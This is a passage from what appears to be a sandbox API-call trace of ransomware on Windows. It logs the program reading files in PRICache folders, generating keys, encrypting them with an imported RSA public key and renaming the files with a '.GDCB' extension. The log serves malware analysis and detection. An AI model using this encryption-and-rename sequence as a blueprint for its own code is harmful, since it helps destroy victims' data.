lpBuffer=0xced0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0xced0000*, lpNumberOfBytesRead=0x285d8f8*=0x16dc8, lpOverlapped=0x0) returned 1 [0283.187] VirtualAlloc (lpAddress=0x0, dwSize=0x16dd0, flAllocationType=0x3000, flProtect=0x4) returned 0xcfe0000 [0283.196] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.MicrosoftEdge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.microsoftedge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\1605653898\\4275773285.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.MicrosoftEdge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\1605653898\\4275773285.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.microsoftedge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\1605653898\\4275773285.pri.gdcb")) returned 1 [0283.206] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0283.210] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.212] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.212] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0283.212] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.212] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0283.215] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.217] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.217] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0283.217] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0283.217] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0283.220] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678f8e0) returned 1 [0283.220] CryptGetKeyParam (in: hKey=0x678f8e0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.220] CryptEncrypt (in: hKey=0x678f8e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcea0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcea0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0283.220] GetLastError () returned 0x0 [0283.220] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.220] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0283.222] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678fb20) returned 1 [0283.223] CryptGetKeyParam (in: hKey=0x678fb20, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.223] CryptEncrypt (in: hKey=0x678fb20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xceb0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xceb0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0283.223] GetLastError () returned 0x0 [0283.223] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.223] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\3530508098\\2495906576.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0283.225] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcec0000 [0283.228] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xced0000 [0283.231] ReadFile (in: hFile=0x50c, lpBuffer=0xced0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0xced0000*, lpNumberOfBytesRead=0x285d8f8*=0x13b60, lpOverlapped=0x0) returned 1 [0283.242] VirtualAlloc (lpAddress=0x0, dwSize=0x13b60, flAllocationType=0x3000, flProtect=0x4) returned 0xcfe0000 [0283.251] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\3530508098\\2495906576.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\3530508098\\2495906576.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\3530508098\\2495906576.pri.gdcb")) returned 0 [0283.275] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0283.278] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.280] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.280] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0283.280] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.280] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0283.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.287] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.287] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0283.287] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.287] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0283.290] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678fbe0) returned 1 [0283.290] CryptGetKeyParam (in: hKey=0x678fbe0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.290] CryptEncrypt (in: hKey=0x678fbe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcea0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcea0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0283.290] GetLastError () returned 0x0 [0283.291] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.291] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0283.293] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678fea0) returned 1 [0283.293] CryptGetKeyParam (in: hKey=0x678fea0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.293] CryptEncrypt (in: hKey=0x678fea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xceb0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xceb0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0283.293] GetLastError () returned 0x0 [0283.293] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.293] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.WindowsFeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3375042201\\1858609885.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.windowsfeedback_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\3375042201\\1858609885.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0283.295] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0283.298] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.302] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.302] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0283.302] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.302] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0283.305] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.307] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.307] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0283.307] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.308] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0283.310] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678ffa0) returned 1 [0283.310] CryptGetKeyParam (in: hKey=0x678ffa0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.310] CryptEncrypt (in: hKey=0x678ffa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcec0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcec0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0283.311] GetLastError () returned 0x0 [0283.311] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.311] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0283.313] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678ffe0) returned 1 [0283.313] CryptGetKeyParam (in: hKey=0x678ffe0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.313] CryptEncrypt (in: hKey=0x678ffe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xced0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xced0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0283.313] GetLastError () returned 0x0 [0283.313] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.313] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.XboxGameCallableUI_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2107319684\\2467780804.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.xboxgamecallableui_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\2107319684\\2467780804.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0283.314] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0283.318] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.320] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.320] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0283.320] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.320] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0283.322] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.324] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.324] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0283.324] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.325] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0283.327] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6783908) returned 1 [0283.327] CryptGetKeyParam (in: hKey=0x6783908, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.327] CryptEncrypt (in: hKey=0x6783908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcee0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcee0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0283.329] GetLastError () returned 0x0 [0283.329] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.329] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0283.331] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6781f48) returned 1 [0283.331] CryptGetKeyParam (in: hKey=0x6781f48, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.331] CryptEncrypt (in: hKey=0x6781f48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcef0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xcef0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0283.331] GetLastError () returned 0x0 [0283.331] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.331] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.XboxIdentityProvider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\860568095\\965632691.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.xboxidentityprovider_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\860568095\\965632691.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0283.336] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0283.340] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.342] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.342] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0283.342] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0283.342] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0283.345] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.347] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.348] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0283.348] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0283.348] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0283.350] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6782848) returned 1 [0283.350] CryptGetKeyParam (in: hKey=0x6782848, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.350] CryptEncrypt (in: hKey=0x6782848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcf00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0283.351] GetLastError () returned 0x0 [0283.351] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.351] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0283.353] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x678fe60) returned 1 [0283.353] CryptGetKeyParam (in: hKey=0x678fe60, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.353] CryptEncrypt (in: hKey=0x678fe60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xcf10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0283.353] GetLastError () returned 0x0 [0283.353] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.353] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2646675675\\806068533.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\windows.contactsupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2646675675\\806068533.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0283.355] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcf20000 [0283.358] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcf30000 [0283.362] ReadFile (in: hFile=0x50c, lpBuffer=0xcf30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0xcf30000*, lpNumberOfBytesRead=0x285d8f8*=0xfd8, lpOverlapped=0x0) returned 1 [0283.370] VirtualAlloc (lpAddress=0x0, dwSize=0xfe0, flAllocationType=0x3000, flProtect=0x4) returned 0xd040000 [0283.377] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2646675675\\806068533.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\windows.contactsupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2646675675\\806068533.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2646675675\\806068533.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\windows.contactsupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\2646675675\\806068533.pri.gdcb")) returned 0 [0283.384] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0283.388] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.390] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.390] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0283.390] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0283.390] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0283.393] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0283.395] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0283.395] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0283.395] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.395] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0283.398] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6782688) returned 1 [0283.398] CryptGetKeyParam (in: hKey=0x6782688, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.398] CryptEncrypt (in: hKey=0x6782688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf00000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xcf00000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0283.398] GetLastError () returned 0x0 [0283.398] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.398] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0283.400] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6782188) returned 1 [0283.400] CryptGetKeyParam (in: hKey=0x6782188, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0283.400] CryptEncrypt (in: hKey=0x6782188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcf10000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xcf10000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0283.400] GetLastError () returned 0x0 [0283.400] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0283.400] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Windows.PurchaseDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\1079934665\\2034961148.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application 